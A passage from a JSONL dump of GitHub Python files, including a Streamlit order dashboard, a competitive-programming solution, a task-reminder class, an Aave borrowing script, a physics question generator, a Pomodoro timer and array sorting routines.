sheet_data = get_google_sheets_data()\n if sheet_data:\n df = pd.DataFrame(sheet_data[1:], columns=sheet_data[0]) # Use the first row as column headers\n #print(df,\"\\n\",\"\\n\",\"\\n\")\n\n\n#Set up web\nst.set_page_config(page_title=\"PRANNA ORDERS\",\n page_icon=\"🌱\",\n layout=\"wide\")\n\n#CSS\ndef local_css(file_name):\n with open(file_name) as f:\n st.markdown(f\"\", unsafe_allow_html=True)\nlocal_css(\"style/main.css\")\n\n\nimagen_space,imagen_emprty=st.columns((1,3))\nwith imagen_space:\n st.image(r\"image/pranna logo ajustado.png\",use_column_width=True)\nwith imagen_emprty:\n st.empty() \nst.markdown(\"

    ORDERS

    \", unsafe_allow_html=True)\n\n\n#DATOS DEL CLIENTE\nclient_columns= ['id','status','shipping.first_name','shipping.address_1','shipping.address_2','delivery_date',\n 'delivery_time_frame','total']\ndf_client= df[client_columns]\n\ndf_client_u=df_client.drop_duplicates(subset='id')\nclient_col_name={'shipping.first_name':'Nombre',\n 'Teléfono (facturación)':'Teléfono',\n 'shipping.address_1':'Dirección1',\n 'shipping.address_2':'Dirección2',\n 'delivery_date': 'Dia',\n 'delivery_time_frame': 'Hora',\n 'total':'Importe',\n 'status': 'Status'}\n\ndf_client_u.columns = [client_col_name.get(col, col) for col in df_client_u.columns]\n\n#df_client_u.rename(columns=client_col_name,inplace=True)\n#print(df_client_u.columns,\"\\n\",\"\\n\",\"\\n\")\n\n\n#DATOS DEL PEDIDO\ncol_name= { 'id':'id',\n 'PRAN01':'Alubias',\n 'PRAN02':'Espinaca',\n 'PRAN03':'Garbanzos', \n 'PRAN04': 'Lentejas',\n 'PRAN05':'Remolacha SG',\n 'PRAN06': 'Setas',\n 'PRAN08': 'Sueca',\n 'PRAN07': 'Shitake SG',\n 'PRAN09': 'Frankfurt'}\n\n#Crea un DataFrame con todas las columnas de 'col_name' y valores iniciales en 0\ndefault_values = {col: 0 for col in col_name.keys()}\ndf_defaults = pd.DataFrame([default_values])\n#Concatena 'df_defaults' con tu DataFrame original 'df'\n#df_filtrado= df[df['status']=='processing']\ndf = pd.concat([df, df_defaults], axis=0, ignore_index=True)\n#Pivota la tabla para obtener una columna para cada producto y un solo \"id\"\ndf_orders = df.pivot(index='id', columns='sku', values='quantity').fillna(0).astype(int)\n#Restablece el índice\ndf_orders.reset_index(inplace=True)\ndf_orders = df_orders.reindex(columns=col_name.keys(), fill_value=0)\n#Renombra las columnas para eliminar el nombre de la columna de valores\ndf_orders.columns.name = None\ndf_orders.rename(columns=col_name,inplace=True)\ndf_orders.fillna(0, inplace=True)\n#print(df_orders.columns)\ndf_orders[\"Total\"]= df_orders[\"Garbanzos\"]+df_orders[\"Lentejas\"]+df_orders[\"Espinaca\"]+df_orders[\"Setas\"]+df_orders[\"Alubias\"]+df_orders[\"Frankfurt\"]+df_orders[\"Sueca\"]+df_orders[\"Remolacha SG\"]+df_orders[\"Shitake SG\"]\ndf_orders[\"cant_eti\"]= df_orders[\"Total\"].astype(float)-df_orders[\"Remolacha SG\"].astype(float)-df_orders[\"Shitake SG\"].astype(float)\ndf_orders[\"Etiquetas\"]= np.ceil(df_orders[\"cant_eti\"]/6).astype(int)\ndf_orders=df_orders[[\"id\", \"Total\",\"Etiquetas\", \"Alubias\" , \"Espinaca\" , \"Garbanzos\" , \"Sueca\" , \"Lentejas\" , \"Setas\" ,\"Frankfurt\" ,\"Remolacha SG\" , \"Shitake SG\" ]]\n\n\n\ndf_app= pd.merge(df_client_u, df_orders, on='id')\ndf_app1= df_app[df_app['Status']=='completed']\ndf_app= df_app[df_app['Status']=='processing']\n\ndf_app= df_app[['id','Nombre', 'Dirección1', 'Dirección2', 'Dia', 'Hora',\n 'Importe', 'Total', 'Etiquetas', 'Alubias', 'Espinaca', 'Garbanzos',\n 'Sueca', 'Lentejas', 'Setas', 'Frankfurt', 'Remolacha SG',\n 'Shitake SG']]\n\n# def etiqueta():\n# return df_app.to_csv('df_app.csv',index=False)\n# etiqueta()\n\npreparado = pd.DataFrame({\"A_Preparar\":[False]})\nmultiple = pd.DataFrame({\"Estado\":[\"\"]})\ndf_app.insert(0, 'A_Preparar', preparado[\"A_Preparar\"])\ndf_app.insert(1, 'Estado', multiple[\"Estado\"])\n\n\n\n#FILTRO\nselected_dates = st.multiselect(\"Filtrar por Días de Entrega\",list(df_app['Dia'].unique()))\nif selected_dates:\n filtered_df = df_app[df_app['Dia'].isin(selected_dates)]\nelse:\n filtered_df = df_app\n\n\n#TABLA DE DATOS FINAL\ndf_entrega=st.data_editor(\n filtered_df,\n column_config={\"A_Preparar\": st.column_config.CheckboxColumn(\n \"A_Preparar\",\n help=\"Que pedidos vas a preparar?\",\n default=False),\n \"Estado\": st.column_config.SelectboxColumn(\n \"Estado del pedido\",\n help=\"Seleccionar Estado del pedido\",\n width=\"medium\",\n options=[\" \",\n \"🔝 Pedido Preparado\",\n \"🟨 Entregado sin pagar\",\n \"✅ Entregado y pagado\"],\n required=False)},\n disabled=['id',\"Nombre\",\"Dia\",\"Hora\",\n 'Dirección1',\n 'Dirección2',\n 'Importe',\n \"Total\",\"Etiquetas\",\n \"Frankfurt\" , \"Alubias\" ,\n \"Espinaca\" , \"Garbanzos\", \n \"Sueca\" , \"Lentejas\" , \"Setas\" ,\n \"Remolacha SG\" , \"Shitake SG\" ],\n hide_index=True)\n\n# Obtener solo las filas con el CheckboxColumn como True\npedidos_preparados = df_entrega[df_entrega[\"A_Preparar\"] == True]\n\n# Calcular el total de las columnas específicas\ntotal_alubias = pedidos_preparados['Alubias'].sum()\ntotal_espinaca = pedidos_preparados['Espinaca'].sum()\ntotal_garbanzos = pedidos_preparados['Garbanzos'].sum()\ntotal_sueca = pedidos_preparados['Sueca'].sum()\ntotal_lentejas = pedidos_preparados['Lentejas'].sum()\ntotal_setas = pedidos_preparados['Setas'].sum()\ntotal_remola = pedidos_preparados['Remolacha SG'].sum()\ntotal_shitake = pedidos_preparados['Shitake SG'].sum()\ntotal_frankfurt = pedidos_preparados['Frankfurt'].sum()\ntotal_tarjetas = pedidos_preparados['Etiquetas'].sum()\n \n\ntotales= st.container()\nst.write(\"---\")\nbutton1,button2= st.columns((4,1))\nbutton1.empty()\nwith button2:\n etiquetas_images = etiquetas(df_app)\n # Crea un archivo ZIP y agrega las imágenes a él\n zip_buffer = BytesIO()\n with zipfile.ZipFile(zip_buffer, 'w') as zipf:\n for i, img_bytes in enumerate(etiquetas_images):\n zipf.writestr(f\"etiqueta_{i}.png\", img_bytes)\n\n # Descarga el archivo ZIP como un solo botón\n st.download_button(\n label=\"Descargar Todas las Etiquetas\",\n data=zip_buffer.getvalue(),\n key=\"etiquetas.zip\",\n file_name=\"etiquetas.zip\",)\n\n\nst.header(\"Total a preparar\")\nempty1,etiqueta1,column_1,column_2,column_3,column_4,empty2=st.columns(7)\netiqueta1.metric(\"Etiquetas\", total_tarjetas)\nstyle_metric_cards( background_color = \"#F2D17B\",\n border_size_px = 0,\n border_color= \"#CCC\",\n border_radius_px= 9,\n border_left_color= \"#FDF8E0\",\n box_shadow = False)\nwith empty1:\n st.empty()\ncolumn_1.metric(\"Alubias\", total_alubias,)\nwith column_2: \n st.metric(\"Espinaca\", total_espinaca)\nwith column_3:\n st.metric(\"Garbanzos\", total_garbanzos)\nwith column_4:\n st.metric(\"Sueca\", total_sueca)\nwith empty2:\n st.empty()\nst.write(\"##\") \nempty3,column_5,column_6,column_7,column_8,column_9,empty4=st.columns(7)\nst.write(\"##\")\nwith empty1:\n st.empty() \nwith column_5: \n st.metric(\"Lentejas\", total_lentejas)\nwith column_6:\n st.metric(\"Setas\", total_setas)\nwith column_7:\n st.metric(\"Shitake\", total_shitake)\nwith column_8:\n st.metric(\"Remolacha\", total_remola)\nwith column_9:\n st.metric(\"Frankfurt\", total_frankfurt)\nwith empty4:\n st.empty()\nst.write(\"##\")\n\n\n# if st.button(\"Confirmar Preparacion\"):\n# for index, row in df_entrega.iterrows():\n# if row[\"Estado\"] == \"✅ Entregado y pagado\":\n# target_id = row[\"id\"]\n# update_status([target_id])\n# get_google_sheets_data()\n\n\n\nconfig = configparser.ConfigParser()\nconfig.read('config.ini')\nconsumer_key = config['API']['consumer_key']\nconsumer_secret = config['API']['consumer_secret']\n\nif st.button(\"Confirmar Preparacion\"):\n for index, row in df_entrega.iterrows():\n if row[\"Estado\"] == \"✅ Entregado y pagado\":\n target_id = row[\"id\"]\n update_order_status(target_id, consumer_key, consumer_secret)\n #get_google_sheets_data()\n\n\n\nst.write(\"---\")\nst.write(\"##\")\n \nst.header(\"Filtros\")\n\n\n\n# Crear un filtro para el rango de fechas y nombres\ndf_app1['Dia'] = pd.to_datetime(df_app1['Dia'], errors='coerce')\n#df_app1['Dia'] = df_app1['Dia'].dt.strftime('%d/%m/%Y')\n\ncolumna1, columna2 = st.columns(2)\nwith columna1:\n start_date = pd.to_datetime(st.date_input(\"Fecha de inicio\", pd.to_datetime(df_app1['Dia'].min(), errors='coerce')))\nwith columna2:\n end_date = pd.to_datetime(st.date_input(\"Fecha de fin\", pd.to_datetime(df_app1['Dia'].max(), errors='coerce')))\n\nselected_client = st.multiselect(\"Filtrar por Cliente\",list(df_app1['Nombre'].unique()))\n \nif not selected_client:\n # Si no se selecciona ningún nombre, mostrar todos los datos dentro del rango de fechas\n filtered_df = df_app1[(~df_app1['Dia'].isna()) & (df_app1['Dia'] >= start_date) & (df_app1['Dia'] <= end_date)]\nelse:\n # Si se selecciona al menos un nombre, aplicar el filtro por nombre y por fecha\n filtered_df = df_app1[(df_app1['Nombre'].isin(selected_client)) & (~df_app1['Dia'].isna()) & (df_app1['Dia'] >= start_date) & (df_app1['Dia'] <= end_date)]\n\n\nif df_app1 is not None:\n cant_pedidos= len(filtered_df)\n filtered_df['Importe']=filtered_df['Importe'].str.replace('€', '').astype(float).round()\n \n if selected_client:\n monto_pedido= filtered_df[filtered_df[\"Nombre\"].isin(selected_client)][\"Importe\"].sum()\n else:\n monto_pedido= filtered_df[\"Importe\"].sum()\n \n\n total_alubias1 = filtered_df['Alubias'].sum()\n total_espinaca1 = filtered_df['Espinaca'].sum()\n total_garbanzos1 = filtered_df['Garbanzos'].sum()\n total_sueca1 = filtered_df['Sueca'].sum()\n total_lentejas1 = filtered_df['Lentejas'].sum()\n total_setas1 = filtered_df['Setas'].sum()\n total_remola1 = filtered_df['Remolacha SG'].sum()\n total_shitake1 = filtered_df['Shitake SG'].sum()\n total_tarjetas1 = filtered_df['Etiquetas'].sum()\n\n st.header(\"Informacion\")\n vacio1,importe11,pedidos22,vacio2= st.columns((1,2,2,1))\n st.write(\"##\")\n style_metric_cards( background_color = \"#F2D17B\",\n border_size_px = 0,\n border_color= \"#CCC\",\n border_radius_px= 9,\n border_left_color= \"#FDF8E0\",\n box_shadow = False)\n vacio1.empty()\n importe11.metric(\"Importe\",f'€{monto_pedido}')\n pedidos22.metric(\"Pedidos\", cant_pedidos)\n vacio2.empty()\n\n empty111,column_11,column_22,column_33,column_44,empty22=st.columns(6)\n st.write(\"##\")\n empty111.empty()\n column_11.metric(\"Alubias\", total_alubias1)\n column_22.metric(\"Espinaca\", total_espinaca1)\n column_33.metric(\"Garbanzos\", total_garbanzos1)\n column_44.metric(\"Sueca\", total_sueca1)\n empty22.empty() \n\n empty333,column_55,column_66,column_77,column_88,empty444=st.columns(6)\n st.write(\"##\")\n empty333.empty()\n column_55.metric(\"Lentejas\", total_lentejas1)\n column_66.metric(\"Setas\", total_setas1)\n column_77.metric(\"Shitake\", total_shitake1)\n column_88.metric(\"Remolacha\", total_remola1)\n empty444.empty()\n\nst.dataframe(filtered_df,use_container_width=True)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"rfullivarri/Pranna_Orders","sub_path":"Pranna_copy.py","file_name":"Pranna_copy.py","file_ext":"py","file_size_in_byte":14894,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"32107488851","text":"def solve():\n [B, C] = map(int, input().split())\n\n if B >= 0:\n # [l, r]\n if C >= 1:\n area1 = [-B - (C - 1) // 2, -1 * max(0, B - (C - 1) // 2)]\n else:\n area1 = None\n\n # [l, r]\n area2 = [B - C // 2, B]\n\n # [l, r]\n if C >= 4:\n area3 = [B + 1, B + (C - 2) // 2]\n else:\n area3 = None\n\n else:\n area1 = [B - C // 2, B + (C - 2) // 2]\n\n if C >= 1:\n area2 = [-B - (C - 1) // 2, -B + (C - 1) // 2]\n else:\n area2 = None\n\n area3 = None\n\n # print(area1, area2, area3)\n\n areas = list(filter(lambda ar: ar is not None, [area1, area2, area3]))\n acc = []\n\n acc.append(areas[0])\n\n for i in range(1, len(areas)):\n area = areas[i]\n cur_area = acc[-1]\n if cur_area[1] < area[0]:\n acc.append(area)\n else:\n acc[-1][0] = min(area[0], cur_area[0])\n acc[-1][1] = max(area[1], cur_area[1])\n\n # print(acc)\n\n ans = 0\n for area in acc:\n ans += area[1] - area[0] + 1\n return ans\n\nif __name__ == '__main__':\n print(solve())\n","repo_name":"tiqwab/atcoder","sub_path":"arc112/b/solution1.py","file_name":"solution1.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"12703736062","text":"import json\nimport logging\nimport os\nimport signal\nimport threading\nimport time\nimport uuid\n\nfrom events import Events\n\n\nclass Task(Events):\n \"\"\"Create and manipulate a task.\n\n Provide a task object. The task can have a :attr:`due` date and time with a\n :attr:`reminder` in seconds before the :attr:`due`. When the reminder is\n due, the event ``on_remind()`` is called. Objects registered to this\n event can react upon the notification and send e.g. a reminder to clients.\n \"\"\"\n\n def __init__(self, uid=None, task_dir=None):\n \"\"\"Create a task with the *uid* and save it in the *task_dir*. If the uid is\n None, a new unique identifier is assigned to the task.\n \"\"\"\n\n self.uid = uid\n \"\"\"The unique identifier of the task.\"\"\"\n\n self.task_dir = task_dir\n \"\"\"The directory where the task can be saved.\"\"\"\n\n self.assignee = str()\n \"\"\"The user to which the task is assigned.\"\"\"\n\n self.author = str()\n \"\"\"The name of the task author.\"\"\"\n\n self.description = str()\n \"\"\"The description text of the task.\"\"\"\n\n self.done = False\n \"\"\"Whether the task is done or not.\"\"\"\n\n self.due = int()\n \"\"\"The due date time of the task in seconds since the epoch January 1,\n 1970, 00:00:00 (UTC).\"\"\"\n\n self.reminder = int()\n \"\"\"The time in seconds before *due*. When the time is reached, a\n reminder notification is send.\"\"\"\n\n self.title = str()\n \"\"\"The task title.\"\"\"\n\n if not self.uid:\n self.uid = str(uuid.uuid1())\n\n self.__reminder_timer = None\n\n # Call on_remind as method with the uid as argument to notify\n # listening methods.\n self.__events__ = ('on_remind')\n\n def delete_task(self):\n \"\"\"Delete the task.\"\"\"\n logging.debug('Delete task \\'%s\\'...' % self.uid)\n\n if not self.__check_save_dir():\n return\n\n task_dir = os.path.expanduser(self.task_dir)\n task = os.path.join(task_dir, '%s.json' % self.uid)\n\n os.remove(task)\n\n if self.__reminder_timer:\n self.__reminder_timer.cancel()\n\n def update_task(self, task):\n \"\"\"Update the task to the parsed *task* dictionary.\"\"\"\n\n logging.debug('Update task \\'%s\\'...' % self.uid)\n\n if 'assignee' in task.keys():\n self.assignee = task['assignee']\n\n if 'author' in task.keys():\n self.author = task['author']\n\n if 'description' in task.keys():\n self.description = task['description']\n\n if 'done' in task.keys():\n self.done = task['done']\n\n if 'due' in task.keys():\n self.due = task['due']\n\n if 'reminder' in task.keys():\n self.reminder = task['reminder']\n self.__set_reminder()\n\n if 'title' in task.keys():\n self.title = task['title']\n\n self.__save_task()\n\n def task(self):\n \"\"\"Return the task as dictionary.\n\n The dictionary has the keys ``'assignee'``, ``'author'``,\n ``'description'``, ``'done'``, ``'due'``, ``'reminder'``, ``'title'``\n and ``'id'``\n \"\"\"\n return {\n 'assignee': self.assignee,\n 'author': self.author,\n 'description': self.description,\n 'done': self.done,\n 'due': self.due,\n 'reminder': self.reminder,\n 'title': self.title,\n 'id': self.uid\n }\n\n def __check_save_dir(self):\n \"\"\"Check if a save directory is defined.\"\"\"\n if not self.task_dir:\n logging.warning(\n 'No save directory for task \\'%s\\' set.' % self.uid)\n return False\n\n return True\n\n def __save_task(self):\n \"\"\"Save the task as JSON file in the :attr:`task_dir`.\"\"\"\n if not self.__check_save_dir():\n return\n\n task_dir = os.path.expanduser(self.task_dir)\n task = os.path.join(task_dir, '%s.json' % self.uid)\n\n try:\n os.makedirs(task_dir)\n except FileExistsError:\n pass\n\n with open(task, 'w') as f:\n json.dump(self.task(), f)\n\n def __set_reminder(self):\n \"\"\"Set a reminder to call ``on_remind``.\"\"\"\n def reminder_alarm():\n logging.debug('Reminder alarm for \\'%s\\' triggered...' % self.uid)\n self.on_remind(self.uid)\n\n if self.__reminder_timer:\n self.__reminder_timer.cancel()\n\n # the time in seconds until the reminder is due\n time_from_now = int(round(self.due - self.reminder - time.time(), 0))\n\n if time_from_now < 0 or self.done:\n return\n\n logging.debug('Set a reminder for \\'%s\\' which is due in %i seconds...'\n % (str(self.uid), time_from_now))\n self.__reminder_timer = threading.Timer(time_from_now, reminder_alarm)\n self.__reminder_timer.start()\n","repo_name":"pearjo/knut-server","sub_path":"knut/services/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":4940,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"70901537107","text":"import numpy as np\n\ndef create_binary_mask(start_dict, end_dict, shape):\n \n masks = []\n for key in start_dict:\n \n blank_array = np.zeros(shape=shape) \n \n blank_array[start_dict[key][0]:end_dict[key][0], start_dict[key][1]:end_dict[key][1], start_dict[key][2]:end_dict[key][2]] = 1\n masks.append(blank_array) \n\n masks = np.array(masks)\n \n return masks\n","repo_name":"Anurag-Gade/Overlap-based-Masking-Scheme","sub_path":"src/create_binary_masks.py","file_name":"create_binary_masks.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"16422338261","text":"\nfrom brownie import accounts, config, network, interface\nfrom scripts.get_weth import get_weth\nfrom web3 import Web3\n\ndef approve_erc20(ammount, spender, erc20_address, account):\n print(\"ApprovingERC20\")\n erc20 = interface.IERC20(erc20_address)\n tx = erc20.approve(spender, ammount,{\"from\": account})\n tx.wait(1)\n print(\"Approved\")\n return tx\n\n\ndef getLendingPool():\n lending_pool_provider = interface.ILendingPoolAddressesProvider(\n config[\"networks\"][network.show_active()][\"Lending_pool_address\"]\n )\n lending_pool_address = lending_pool_provider.getLendingPool()\n lending_pool = interface.ILendingPool(lending_pool_address)\n return lending_pool\n\ndef get_user_lending_data(lending_pool,address):\n (total_collateral_eth, debt_eth, availabe_to_borrow, liquidation_threshhold, LTVratio, heath_factor)= lending_pool.getUserAccountData(address)\n availabe_to_borrow = Web3.fromWei(availabe_to_borrow,\"ether\")\n total_collateral_eth = Web3.fromWei(total_collateral_eth,\"ether\")\n debt_eth = Web3.fromWei(debt_eth,\"ether\")\n print(availabe_to_borrow)\n print(\":::: availabe_to_borrow\")\n return(float(availabe_to_borrow),float(debt_eth))\n\ndef get_asset_price(price_feed_address):\n asset_price_feed = interface.AggregatorV3Interface(price_feed_address)\n print(\"Price feed contrast is \" + str(asset_price_feed))\n latest_price = asset_price_feed.latestRoundData()[1]\n price = Web3.fromWei(latest_price, \"ether\")\n return float(price)\n\ndef repayAll(ammount,lendingPool,account):\n approve_erc20(Web3.toWei(ammount + 1,\"ether\"),lendingPool,config[\"networks\"][network.show_active()][\"dai_token\"],account)\n print(\"Approved\")\n tx = lendingPool.repay(\n config[\"networks\"][network.show_active()][\"dai_token\"],\n Web3.toWei(ammount, \"ether\"),\n 1,\n account.address,\n {\"from\": account},\n )\n tx.wait(1)\n print(\"Repaid\")\n\ndef main():\n #account = accounts.load(\"study-account2\")\n account = accounts[0]\n erc20_address = config[\"networks\"][network.show_active()][\"weth_token\"]\n if network.show_active() in [\"mainnet-fork-alc\"]:\n get_weth()\n lendingPool = getLendingPool()\n print(lendingPool)\n ammount = 0.1 * 10**18\n approve_erc20(ammount, lendingPool.address, erc20_address,account)\n tx = lendingPool.deposit(erc20_address,ammount,account.address,0, {\"from\": account})\n tx.wait(1)\n print(\"Deposited\")\n availabe_to_borrow, debt_eth = get_user_lending_data(lendingPool,account.address)\n dai_eth_price = get_asset_price(config[\"networks\"][network.show_active()][\"dai_eth_price_feed\"])\n print(f\"Dai eth price is {dai_eth_price}\")\n ammount_dai_to_borrow = (1/dai_eth_price) * (availabe_to_borrow * 0.6)\n tx = lendingPool.borrow(config[\"networks\"][network.show_active()][\"aave_dai_token\"],Web3.toWei(ammount_dai_to_borrow,\"ether\"),1,0, account.address, {\"from\":account})\n tx.wait(1)\n print(f\"Congratulations! We have just borrowed {ammount_dai_to_borrow}\")\n repayAll(debt_eth,lendingPool,account)\n print(\"Repaid\")\n\n\n\n","repo_name":"Tcg-Crypto/Solidity_1","sub_path":"defi_shortsell_script/scripts/aave_borrow.py","file_name":"aave_borrow.py","file_ext":"py","file_size_in_byte":3057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"5005768302","text":"import random\n\n# A carrier wave of peak voltage 12 V is used to transmit a message signal. What should be the peak voltage of the modulating signal in order to have a modulation index of 75 percent?\n# For an amplitude modulated wave, the maximum amplitude is found to be 10 V while the minimum amplitude is found to be 2 V. Determine the modulation index.\n\nqns = open('./questions.txt','w')\nans = open('./answers.txt','w')\nno_of_samples = 1000000\n# no_of_samples = 10\n\nfor i in range(no_of_samples):\n types = random.randint(0,1)\n if types:\n V = round(random.randint(100,40000)/100,2)\n percent = random.randint(1,100)\n q = \"A carrier wave of peak voltage \"+str(V)+\" V is used to transmit a message signal. What should be the peak voltage of the modulating signal in order to have a modulation index of \"+str(percent)+\" percent?\\n\"\n a = \"we know that modulation index is ratio of voltage of modulating signal to that of voltage of carrier, hence we have mod-index(in decimal) = V_sig/V_car, hence V_sig = mod-index*V_car = \"+str(round(percent/100,2))+\"*\"+str(V)+\" = \"\n a += \"{:.2e} V\\n\".format((percent/100)*V)\n else:\n A_min = round(random.randint(0,2000)/100,2)\n A_max = round(A_min + random.randint(1,2000)/100,2)\n q = \"For an amplitude modulated wave, the maximum amplitude is found to be \"+str(A_max)+\" V while the minimum amplitude is found to be \"+str(A_min)+\" V. Determine the modulation index.\\n\"\n a = \"we know that modulation index of amplitude modulated wave is ratio of difference of a_max and a_min and sum of a_max and a_min, difference of a_max, a_min is equal to \"+str(A_max)+\"-\"+str(A_min)+\" = \"+str(round(A_max-A_min,2))+\", sum of a_max, a_min is equal to \"+str(A_max)+\"+\"+str(A_min)+\" = \"+str(round(A_max+A_min,2))+\", hence the modulation index is equal to \"+str(round(A_max-A_min,2))+\"/\"+str(round(A_max+A_min,2))+\" = \" \n a += str(round((A_max-A_min)/(A_max+A_min),2)) + \"\\n\"\n qns.write(q)\n ans.write(a)\n\nqns.close()\nans.close()","repo_name":"misterpawan/scimat2","sub_path":"science/CommunicationSystems/modulation-index/modulation-index_desc.py","file_name":"modulation-index_desc.py","file_ext":"py","file_size_in_byte":2030,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"48"} +{"seq_id":"27204385502","text":"import unittest\n\nimport numpy as np\n\nfrom angorapy.utilities.statistics import increment_mean_var\n\n\nclass StatisticsTest(unittest.TestCase):\n\n def test_incremental_mean_var(self):\n n_samples = 100000\n sample_dims = 10\n\n samples = np.array([np.random.randn(1, sample_dims) for _ in range(n_samples)])\n\n mean, var, n = samples[0], np.zeros((1, sample_dims, )), 1\n for s in samples[1:]:\n s_var = np.zeros((sample_dims,))\n mean, var = increment_mean_var(mean, var, s, s_var, n)\n n += 1\n\n np_mean = np.mean(samples, axis=0)\n np_var = np.var(samples, axis=0)\n\n self.assertTrue(np.allclose(mean, np_mean),\n np.allclose(mean, np_var))","repo_name":"ccnmaastricht/angorapy","sub_path":"tests/test_statistics.py","file_name":"test_statistics.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"48"} +{"seq_id":"28191717644","text":"from tkinter import *\nimport math\nimport ttkthemes\nfrom tkinter import ttk\n\n\n# ---------------------------- CONSTANTS ------------------------------- #\nPINK = \"#e2979c\"\nRED = \"#e7305b\"\nGREEN = \"#9bdeac\"\nYELLOW = \"#f7f5dd\"\nFONT_NAME = \"Courier\"\nWORK_MIN = 25\nSHORT_BREAK_MIN = 5\nLONG_BREAK_MIN = 20\nresp=0\ntimer=None\n\n# ---------------------------- TIMER RESET ------------------------------- # \ndef reset_timer(): \n reset.config(state=DISABLED)\n start.config(state=NORMAL)\n global timer\n window.after_cancel(timer)\n canvas.itemconfig(timer_text,text=\"00:00\")\n timer_label.config(text=\"Timer\",fg=GREEN)\n check_maker.config(text=\"\")\n global resp\n resp=0\n# ---------------------------- TIMER MECHANISM ------------------------------- # \ndef start_timer():\n start.config(state=DISABLED)\n reset.config(state=NORMAL)\n global resp\n resp+=1\n work_sec=WORK_MIN*60\n long_break_sec=LONG_BREAK_MIN*60\n short_break_sec=SHORT_BREAK_MIN*60\n\n if resp % 8 == 0:\n count_down(long_break_sec)\n timer_label.config(text=\"Break\",fg=RED)\n elif resp % 2 ==0: \n count_down(short_break_sec)\n timer_label.config(text=\"Break\",fg=PINK)\n else:\n count_down(work_sec)\n timer_label.config(text=\"Work\",fg=GREEN)\n\n# ---------------------------- COUNTDOWN MECHANISM ------------------------------- # \n \ndef count_down(count):\n count_min=math.floor(count/60)\n count_sec= count % 60\n \n if count_sec < 10:\n count_sec = f\"0{count_sec}\"\n if count_min < 10:\n count_min = f\"0{count_min}\"\n canvas.itemconfig(timer_text, text=f\"{count_min}:{count_sec}\")\n if count>0:\n global timer\n timer=window.after(1000,count_down,count-1)\n else:\n start_timer() \n marks=\"\"\n work_sessions = math.floor(resp/2)\n for _ in range (work_sessions):\n marks += \"✔\"\n check_maker.config(text=marks)\n\n# ---------------------------- UI SETUP ------------------------------- #\n\nwindow = ttkthemes.ThemedTk()\nwindow.get_themes()\nwindow.set_theme('radiance')\nwindow.title(\"Pomodoro\")\nwindow.iconbitmap(r'tomato_icon.ico')\nwindow.config(padx=100,pady=50,bg=YELLOW)\n\ntimer_label=Label(text=\"Timer\" ,bg = YELLOW ,fg = GREEN ,font = (FONT_NAME,50))\ntimer_label.grid(column=2,row=1)\n\ncheck_maker=Label(text=\"\",bg=YELLOW,fg=GREEN)\ncheck_maker.grid(column=2,row=3)\n\nstart=ttk.Button(text=\"Start\",command = start_timer)\nstart.grid(column=0,row=3)\n\nreset=ttk.Button(text=\"Reset\",command=reset_timer)\nreset.grid(column=3,row=3)\nreset.config(state=DISABLED)\n\n\ncanvas=Canvas(width=210,height=250,bg=YELLOW,highlightthickness=0)\nphoto=PhotoImage(file=\"tomato.png\")\ncanvas.create_image(104,120,image=photo)\ncanvas.grid(column=2,row=2)\ntimer_text=canvas.create_text(104,140,text=\"00:00\",fill=\"White\",font=(FONT_NAME,35,\"bold\"))\n\nwindow.mainloop()\n","repo_name":"Pmking27/Pomodoro-GUI-Application-Project-using-Tkinter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2860,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"43147124967","text":"def __len__(self):\n return self.__nItems\n\n\ndef get(self, n):\n if 0 <= n < self.__nItems:\n return self.__a[n]\n\n\ndef set(self, n, value):\n if 0 <= n < self.__nItems:\n self.__a[n] = value\n\n\ndef swap(self, j, k):\n if 0 <= j < self.__nItems and 0 <= k < self.__nItems:\n self.__a[j], self.__a[k] = self.__a[k], self.__a[j]\n\n\ndef insert(self, item):\n if self.__nItems >= len(self.__a):\n raise Exception(\"Array overflow\")\n self.__a[self.__nItems] = item\n self.__nItems += 1\n\n\ndef find(self, item):\n for j in range(self.__nItems):\n if self.__a[j] == item:\n return j\n raise ValueError(\"Item not found\")\n\n\ndef search(self, item):\n try:\n return self.get(self.find(item))\n except ValueError:\n return None\n\n\ndef delete(self, item):\n try:\n j = self.find(item)\n except ValueError:\n return False\n self.__nItems -= 1\n for k in range(j, self.__nItems):\n self.__a[k] = self.__a[k + 1]\n return True\n\n\ndef traverse(self, function=print):\n for j in range(self.__nItems):\n function(self.__a[j])\n\n\ndef __str__(self):\n ans = \"[\"\n for i in range(self.__nItems):\n if len(ans) > 1:\n ans += \", \"\n ans += str(self.__a[i])\n ans += \"]\"\n return ans\n\n\ndef bubbleSort(self):\n for last in range(self.__nItems - 1, 0, -1):\n for inner in range(last):\n if self.__a[inner] > self.__a[inner + 1]:\n self.swap(inner, inner + 1)\n\n\ndef selectionSort(self):\n for outer in range(self.__nItems - 1):\n min = outer\n for inner in range(outer + 1, self.__nItems):\n if self.__a[inner] < self.__a[min]:\n min = inner\n self.swap(outer, min)\n\n\ndef insertionSort(self):\n for outer in range(1, self.__nItems):\n temp = self.__a[outer]\n inner = outer\n while inner > 0 and temp < self.__a[inner - 1]:\n self.__a[inner] = self.__a[inner - 1]\n inner -= 1\n self.__a[inner] = temp\n\n\ndef oddEvenSort(self):\n sorted = False\n while not sorted:\n sorted = True\n # odd-even pass for odd indices (j = 1, 3, 5, ...)\n for j in range(1, self.__nItems - 1, 2):\n if self.__a[j] > self.__a[j + 1]:\n self.swap(j, j + 1)\n sorted = False\n # odd-even pass for even indices (j = 0, 2, 